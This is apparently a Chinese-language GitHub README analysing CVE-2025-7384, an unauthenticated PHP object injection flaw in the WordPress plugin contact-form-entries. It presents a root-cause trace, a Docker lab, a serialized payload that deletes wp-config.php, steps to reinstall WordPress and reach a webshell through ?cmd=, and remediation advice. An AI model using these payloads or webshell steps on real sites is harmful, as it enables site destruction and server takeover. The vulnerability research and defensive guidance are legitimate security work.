Dungsocool/CVE-2025-7384

GitHub: Dungsocool/CVE-2025-7384

针对 WordPress 插件 contact-form-entries 的 PHP 对象注入到远程代码执行(RCE)漏洞的完整分析、复现环境与 POC。

Stars: 0 | Forks: 0

# CVE-2025-7384 — PHP 对象注入到 RCE **插件:** Database for Contact Form 7 (contact-form-entries) ≤ 1.4.3 **CVSS:** 9.8 (严重) **CWE:** CWE-502 — 不可信数据反序列化 **认证要求:** 无需认证 (未授权) **影响:** 远程代码执行 ## 目录 1. [漏洞概述](#1-vulnerability-overview) 2. [相关概念](#2-related-concepts) 3. [根本原因分析 (源代码 + 调试)](#3-root-cause-analysis--vulnerability-discovery-from-source-code) 4. [攻击链](#4-attack-chain) 5. [逐步复现 (POC)](#5-step-by-step-reproduction-poc) 6. [影响评估](#6-impact-assessment) 7. [修复措施](#7-remediation-measures) ## 1. 漏洞概述 “Database for Contact Form 7” 插件 (slug: `contact-form-entries`) 1.4.3 及以下版本包含一个 PHP 对象注入漏洞。当 WordPress 管理员在后台面板查看表单记录 (条目) 时,该插件直接对未经认证用户通过 Contact Form 7 提交的数据调用 `maybe_unserialize()` 函数,而没有控制允许实例化的类列表。 攻击者无需登录——他们只需提交一个常规的联系表单,同时将序列化的 PHP 对象插入任何表单字段中。此数据以原始形式存储在数据库中。当管理员打开并查看该条目时,反序列化函数将实例化攻击者选择的对象,触发 `__destruct()` 或 `__wakeup()` 等魔术方法 (magic methods) → 根据 WordPress 环境中可用的 POP gadget 执行任意行为。 | 属性 | 值 | |---|---| | CVE ID | CVE-2025-7384 | | CVSS Score | 9.8 (严重) | | CWE | CWE-502 — 不可信数据反序列化 | | 受影响插件 | contact-form-entries (Database for Contact Form 7) ≤ 1.4.3 | | 认证要求 | 无 — 任何提交 CF7 表单的人都可以注入 payload | | 触发条件 | 管理员在后台面板查看被注入的条目 | | 最大影响 | 未授权远程代码执行 | | 已修补版本 | 1.4.4+ (使用 `json_decode` 或 `allowed_classes: false` 替换 `unserialize`) | ## 2. 相关概念 ### PHP 序列化 / 反序列化 PHP 使用 `serialize()` 将对象转换为结构化文本字符串,并使用 `unserialize()` 从该字符串还原对象。当 `unserialize()` 接收来自不可信源 (例如用户输入) 的数据时,攻击者可以构造属于此刻加载在 PHP 内存中的任何类的任意对象。 ### PHP 魔术方法 在对象生命周期内 PHP 自动调用的特殊方法。在此上下文中最重要的有: - `__wakeup()` — 在对象被反序列化时立即调用 - `__destruct()` — 在对象被销毁时调用 (超出作用域,或请求结束时) - `__toString()` — 在对象被转换为字符串时调用 ### POP 链 (面向属性编程) 一种将应用程序现有类中的多个魔术方法链接起来,以构造危险行为序列的技术。攻击者无需编写新代码——他们只需操纵现有对象的*属性*,以便在执行魔术方法时,执行开发人员非预期的操作。 ### WordPress 中的 `maybe_unserialize()` 一个 WordPress Core 封装函数。它调用 `is_serialized()` 检查字符串是否为序列化数据——如果是,则调用 `unserialize()` 还原对象。问题在于:此函数**不**传递 `allowed_classes` 参数 (自 PHP 7.0 起可用) 来限制允许实例化的类。 ## 3. 根本原因分析 — 从源代码发现漏洞 ### 步骤 1:寻找 Sink 点 (Sink Hunting) 首先 grep 整个插件源代码以定位反序列化函数——这些是 PHP 中最危险的函数,因为它们可能导致对象注入: ``` grep -rn "unserialize" wp-src/wp-content/plugins/contact-form-entries/ ``` ![image.png](https://static.pigsec.cn/wp-content/uploads/repos/cas/19/1955541aa48a6b5c8b9f0bd2baba9521559a9c566da7e20620ee37995522855e.png) 输出显示了 `maybe_unserialize()` 的多个调用点,最值得注意的是在 `includes/data.php` 第 545 行的 `verify_val()` 函数中: ![image 1.png](https://static.pigsec.cn/wp-content/uploads/repos/cas/8d/8d0247b34891192a4488cb776e2ee3527e4cec69c12c4a6b0e534a1acc41bc95.png) ``` // data.php lines 538-548 public function verify_val($string){ if(in_array(substr(ltrim($string),0,1), array('{','[')) && in_array(substr(rtrim($string),-1), array('}',']')) ){ $val = json_decode($string, 1); if(is_array($val)){ $string = $val; } } else if(is_serialized($string)){ // line 544 $string = maybe_unserialize($string); // ★ line 545 — SINK } return $string; } ``` **关键问题:** `$string` 变量来源于哪里?如果它来自未经筛选的用户输入 → 这就是一个漏洞。 ### 步骤 2:逆向追踪 — 数据从哪里来? 查找 `verify_val()` 在何处被调用。在同一个 `data.php` 文件中向后追踪: ![image 2.png](https://static.pigsec.cn/wp-content/uploads/repos/cas/77/7745d5396f03646ab9504f9b1873b3836a07202a2ce9a71c6bd09741fefa8059.png) ``` // data.php lines 520-535 public function get_lead_detail($lead_id){ global $wpdb; $table = $wpdb->prefix . 'vxcf_leads_detail'; $detail_arr = $wpdb->get_results( $wpdb->prepare("SELECT * FROM $table WHERE lead_id=%d", $lead_id), ARRAY_A ); foreach($detail_arr as $k => $v){ if(!empty($v['value'])){ $detail_arr[$k]['value'] = $this->verify_val($v['value']); // ← calls verify_val } } return $detail_arr; } ``` → `$string` 正是 `$v['value']` —— 从 `wp_vxcf_leads_detail` 数据库表中检索到的值。当管理员查看表单条目的详细信息时会调用此函数。 **下一个问题:** `wp_vxcf_leads_detail` 内部的数据从何而来?谁写入了它? ### 步骤 3:寻找数据写入点 (Source) 从步骤 2 可知,数据是从数据库中提取的。下一个问题是:谁将数据写入了其中?在 `data.php` 中搜索 INSERT 查询: ``` grep -rn "insert" wp-src/wp-content/plugins/contact-form-entries/includes/data.php ``` ![image 3.png](https://static.pigsec.cn/wp-content/uploads/repos/cas/78/78e4d51d0d54fdf92ac3ff465e410c842533a2e6081d3e949cc02295bfea6265.png) 打开 `create_lead()` 函数代码 (第 85-103 行) 查看详情: ![image 4.png](https://static.pigsec.cn/wp-content/uploads/repos/cas/b0/b024ad50d05facc46950caf9f71ef4db65c298cae471b808c91a440b08daaefb.png) 在第 98-99 行,值 `$v` —— 即表单字段 (例如 `your-message`) 的内容 —— 通过 `$wpdb->insert()` **直接插入数据库**。该插件挂钩到 Contact Form 7 的 `wpcf7_before_send_mail` 事件,因此每当用户提交表单时,所有字段都会被原始存储。 额外检查:插件在保存前确实使用了 `sanitize_text_field()` 和 `sanitize_textarea_field()`,但这两个函数仅剥离 HTML 标签和特殊的 HTML 字符——像 `O:21:"VulnerableFileHandler":2:{...}` 这样的序列化 payload **不包含 HTML 标签**,因此会完全不受阻碍地通过。 ### 步骤 4:结论 — 确认漏洞 至此,完整的流程已经建立: ``` Unauthenticated user submits CF7 form (your-message field contains serialized object) ↓ sanitize_text_field() — DOES NOT block serialized strings Saved into wp_vxcf_leads_detail table (raw payload) ↓ Admin views entry → get_lead_detail() → verify_val() ↓ is_serialized() returns true maybe_unserialize($string) — line 545 → PHP instantiates arbitrary object ↓ Object's __destruct() executes → performs attacker-controlled action ``` ### 步骤 5:调试器验证 (Xdebug) 为了获得直观证明,在 `data.php` 的第 545 行使用 Xdebug 设置断点。在通过表单注入 payload 并让管理员查看条目后,调试器恰好在 `maybe_unserialize()` 处暂停: ![image 5.png](https://static.pigsec.cn/wp-content/uploads/repos/cas/51/51a380005fe83001130a4b7bcccdbc0d94a6a152489441f7e5ac09ef54ea1808.png) **变量面板** 显示 `$string` 包含了攻击者的 payload: - `$string = "O:21:\"VulnerableFileHandler\":2:{s:9:\"file_path\";s:27:\"/var/www/html/wp-config.php\";s:7:\"cleanup\";b:1;}"` → payload 从表单 → 数据库 → 反序列化函数畅通无阻 **执行行:** - 第 545 行: `$string=maybe_unserialize($string);` **调用栈** 显示了函数调用序列: ``` vxcf_form_data->verify_val data.php:545 vxcf_form_data->get_entries data.php:388 vxcf_form::get_entries contact-form-entries.php:2682 vxcf_form_pages->entries_page plugin-pages.php:1017 ... WP_Hook->apply_filters class-wp-hook.php:324 WP_Hook->do_action class-wp-hook.php:348 ``` → 确认了准确分析的流程:管理员查看条目 → `get_entries()` → `verify_val()` → `maybe_unserialize()`。 ## 4. 攻击链 攻击链由 5 个阶段组成。攻击者只需执行阶段 1 (提交表单)。阶段 2-5 在管理员查看条目后自动发生。 ### 阶段 1 — 注入 Payload (未授权) 攻击者提交一个 CF7 表单,并在消息字段中包含序列化的 PHP 对象。 - Endpoint: `POST /wp-json/contact-form-7/v1/contact-forms/{id}/feedback` - 字段 `your-message` 包含: `O:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;}` - 插件将 payload 存入 `wp_vxcf_leads_detail` 表 — `sanitize_text_field()` 不会拦截序列化字符串 ### 阶段 2 — 触发反序列化 (等待管理员) 管理员打开 Contact Form Entries 页面 → 查看条目详情 → 插件调用 `verify_val()` → `maybe_unserialize()`。 - PHP 实例化 `VulnerableFileHandler` 对象,其中 `file_path = "/var/www/html/wp-config.php"` 且 `cleanup = true` - 当请求结束时,PHP 垃圾回收机制调用 `__destruct()` → `unlink("/var/www/html/wp-config.php")` ### 阶段 3 — 任意文件删除 `wp-config.php` 文件被删除 → WordPress 失去数据库连接。 - 访问 `http://target/` → 自动重定向至 `/wp-admin/setup-config.php` (初始设置界面) - WordPress 将该站点视为已卸载 ### 阶段 4 — WordPress 重新安装 攻击者利用已知的 (或爆破出的) 数据库凭据重新安装 WordPress。 - 创建由攻击者控制的新管理员账户 - 使用完整的管理员权限登录控制台 ### 阶段 5 — 远程代码执行 安装包含 webshell 的插件 → 执行任意系统命令。 - 管理员控制台 → 插件 → 安装新插件 → 上传包含 PHP webshell 的 ZIP 文件 - 访问 webshell URL: `/wp-content/plugins/shell/shell.php?cmd=id` - 输出: `uid=33(www-data) gid=33(www-data)` → RCE 完成 ## 5. 逐步复现 (POC) ### 5.1 环境搭建 启动包含 WordPress + 漏洞插件的 Docker 实验环境: ``` cd CVE-2025-7384 docker-compose up --build -d ``` 等待约 40 秒,直到日志显示 `LAB READY`。访问 `http://localhost:8181` 验证 WordPress 是否正在运行。 ### 5.2 识别注入点 从第 3 节的源代码分析可知: - **Sink** 位于 `data.php:545` — 对表单字段值进行 `maybe_unserialize()` - **Source** 是表 `wp_vxcf_leads_detail` — 数据来自 CF7 表单 - **过滤** 仅依赖 `sanitize_text_field()` — 不会拦截序列化字符串 → 结论:只需将序列化的 PHP 对象提交到 CF7 表单的**任何字段**中。选择 `your-message` 是因为它是一个 textarea,可接受长字符串,并且格式验证较少 (不像 `your-email` 需要电子邮件格式)。 ### 5.3 通过联系表单注入 Payload 访问 `http://localhost:8181/contact/`,按如下方式填写表单: | 字段 | 值 | |--------|---------| | Your name | dung | | Your email | dung@twtt.com | | Subject | test inject | | Your message | `O:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;}` | ![image 6.png](https://static.pigsec.cn/wp-content/uploads/repos/cas/23/23123f7687f7c737c52b7d0a0a4425ca270e483ef58e20f3a7c569c1ade6989c.png) Payload 说明: - `O:21:"VulnerableFileHandler"` — 实例化 `VulnerableFileHandler` 类 (其中 `__destruct()` 调用 `unlink()`) - `s:9:"file_path";s:27:"/var/www/html/wp-config.php"` — `file_path` 属性指向要删除的目标文件 - `s:7:"cleanup";b:1` — 属性 `cleanup = true`,使得 `__destruct()` 执行 `unlink()` 点击 **Submit**。表单显示邮件发送错误消息 (或成功) — 这无关紧要,因为 `contact-form-entries` 插件在发送邮件之前已经将所有数据保存到数据库中。 ### 5.4 触发反序列化 — 管理员查看条目 登录 `http://localhost:8181/wp-admin` (admin / admin123) → 左侧菜单选择 **CRM Entries** → 点击查看收到的条目。 ![image 7.png](https://static.pigsec.cn/wp-content/uploads/repos/cas/76/76ed9f4d7b114ed764c2ae8028676124fcc10fab4c1389b6d708b171ed2ed7a1.png) 这正是执行到达 `data.php:545` 的时刻 — 插件从数据库中获取 `your-message` 的值,`is_serialized()` 检查返回 `true`,调用 `maybe_unserialize()` → PHP 创建 `VulnerableFileHandler` 对象 → 请求终止,`__destruct()` 执行 → `unlink("/var/www/html/wp-config.php")`。 ### 5.5 确认任意文件删除 在浏览器中导航至 `http://localhost:8181/` → WordPress 重定向至 `/wp-admin/setup-config.php` 页面 (初始设置界面) → `wp-config.php` 文件成功删除。 ![image 8.png](https://static.pigsec.cn/wp-content/uploads/repos/cas/4a/4a05691662d1ef02e9cd27d2501e923492b72957865619c09cf577e2ee365bd4.png) ### 5.6 提权至 RCE 随着 `wp-config.php` 被删除,WordPress 还原到未安装状态。攻击者步骤: **步骤 1 — 重新安装:** 访问 `http://localhost:8181/wp-admin/setup-config.php` → 输入数据库凭据: | 字段 | 值 | |--------|---------| | Database Name | wordpress | | Username | wpuser | | Password | wppass | | Database Host | db | | Table Prefix | wp_ | 点击 Submit → 运行安装 → 创建由攻击者控制的新管理员账户。 **步骤 2 — 上传 Webshell:** 登录管理员控制台 → **Plugins → Add New → Upload Plugin** → 上传 `system-health.zip` 文件 (或 `system-monitor.zip`)。 ![image 9.png](https://static.pigsec.cn/wp-content/uploads/repos/cas/17/17d93806faa118548f85f8feadb4911d815c0ef84f60347c3e9d738cbb2d4b4c.png) 上传并激活成功。 **步骤 3 — 执行命令 (RCE):** 访问: `http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=id` ![image 10.png](https://static.pigsec.cn/wp-content/uploads/repos/cas/af/aff5830c4f3551af4b3602954e936c6df98fd9b15a5a4b33393b201c3e0370a2.png) 输出: `uid=33(www-data) gid=33(www-data)` → **远程代码执行完成** 访问: `http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=whoami` ![image 11.png](https://static.pigsec.cn/wp-content/uploads/repos/cas/68/682bc309381725159c675d4a823494f9ff0e114afce38247a0a6c050e9653df1.png) 输出: `www-data` → **远程代码执行完成** ## 6. 影响评估 | CVSS 指标 | 值 | 解释 | |---|---|---| | Attack Vector | 网络 | 通过 HTTP 利用,无需物理访问 | | Attack Complexity | 低 | 仅需发送 1 个包含 payload 的 POST 请求 | | Privileges Required | 无 | 无需认证 — CF7 表单对公众开放 | | User Interaction | 无* | 管理员在日常工作流程中查看条目 | | Confidentiality | 高 | RCE 允许读取服务器上的任何文件 | | Integrity | 高 | RCE 允许写入/修改任何文件 | | Availability | 高 | 删除 wp-config.php 导致整个网站崩溃 | *User Interaction:NVD 将其评为无,因为管理员查看表单条目属于预期行为,而非异常的用户交互。 ### 现实中的影响范围 - 插件 “Database for Contact Form 7” 在 wordpress.org 上有超过 **100,000+ 个活跃安装** - 任何运行此插件版本 ≤ 1.4.3 并结合使用 Contact Form 7 的 WordPress 站点都存在漏洞 - 攻击者不需要任何先验信息 — 只需识别出站点正在使用 Contact Form 7 (通过 HTML 源代码很容易检测到) - Payload 会持久化存储在数据库中,使得攻击在条目被删除之前持续有效 ## 7. 修复措施 ### 对于插件开发者 1. **不要对用户提供的数据使用 `maybe_unserialize()`。** 当需要结构化数据存储时,请改用 `json_decode()`。 2. 如果严格需要进行反序列化,请提供 `allowed_classes: false` 选项 (PHP 7.0+): ``` $data = unserialize($string, ['allowed_classes' => false]); ``` 这可以防止 PHP 实例化任何对象 — 仅允许标量类型和数组。 3. 在存储层验证输入数据:如果表单字段应仅包含纯文本,则拒绝任何匹配模式 `/^[OaCis]:\d+/` (序列化数据的标志) 的值。 ### 对于 WordPress 管理员 1. **立即更新插件** 至 1.4.4 或更高版本 2. 检查 `wp_vxcf_leads_detail` 数据库表,看是否包含匹配 `O:XX:"ClassName":` 格式字符串的条目 — 存在此类条目表明曾遭受攻击尝试 3. 确保 `wp-config.php` 具有严格的文件权限 (440 或 400) — 降低被 Web 服务器进程删除的概率 4. 部署配置了规则的 WAF (Web Application Firewall) 以检测 POST 数据中的序列化 PHP 对象 ### 补丁对比 (参考) ``` // BEFORE (vulnerable): } else if(is_serialized($string)){ $string = maybe_unserialize($string); } // AFTER (patched): } else if(is_serialized($string)){ $string = json_decode(json_encode( unserialize($string, ['allowed_classes' => false]) ), true); } ```
标签:CVE分析, Go语言工具, PHP反序列化, Web安全, 文件完整性监控, 编程工具, 蓝队分析, 请求拦截, 远程代码执行